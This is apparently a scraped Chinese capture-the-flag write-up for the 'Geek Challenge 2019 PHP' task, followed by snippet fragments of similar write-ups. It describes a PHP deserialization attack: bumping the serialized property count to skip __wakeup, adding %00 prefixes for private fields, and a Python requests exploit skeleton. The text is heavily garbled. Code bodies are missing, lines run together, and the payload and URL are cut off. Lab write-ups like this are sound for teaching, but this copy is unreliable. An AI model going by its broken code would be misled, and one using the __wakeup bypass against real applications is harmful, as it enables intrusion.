檢視class.php
<?phpindex.php中這一部分include 'flag.php';
error_reporting(0);
class
name
function
__wakeup()
function
__destruct()
if ($this->username === 'admin')
else
}}?>
<?php可以看出本題考察反序列化,根據class.php的__destruct()部分可以看出,若使用者名為admin,密碼為100時,會echo$flaginclude 'class.php';
$select = $_get['select'];
$res=unserialize(@$select);
?>
首先將**反序列化
<?php但是在反序列化時,__wakeup()函式將會被呼叫,將username的值換為guestclass
name
}$a= new name('admin',100);
$b =serialize($a
);echo$b;
?>
//o:4:"name":2:
其中name後面的2,代表類中有2個屬性,但如果我們把2改成3,就會繞過__wakeup()函式。
此處看了王嘆之
師傅的部落格才知道,因為是private宣告,我們需要在類名和欄位名前面都會加上\0的字首:o:4:"name":3:
這裡的 \0 表示 ascii 碼為 0 的字元(不可見字元),而不是 \0 組合。這也許解釋了,為什麼如果直接在**上,傳遞\0*\0username會報錯,因為實際上並不是\0,只是用它來代替ascii值為0的字元。必須用python傳值才可以。exp:
import若不用python提交,直接在url欄提交需在類名和欄位名前加%00requests
url ="
"html = requests.get(url+'
?select=o:4:"name":3:')
print(html.text)
極客大挑戰 2019 PHP
開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...
極客大挑戰 2019 PHP
剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...
極客大挑戰 2019 PHP
開啟後,按照提示找備份檔案 用御劍沒掃到東西,換個工具dirsearch 找到備份檔案 解壓檔案,檢視flag,假的。審計一下這幾個的 吧 flag.php裡的 flag 給了個值syc,好像沒啥用。外鏈轉存失敗,源站可能有防盜煉機制,建議將儲存下來直接上傳 img jirqepnc 1612329...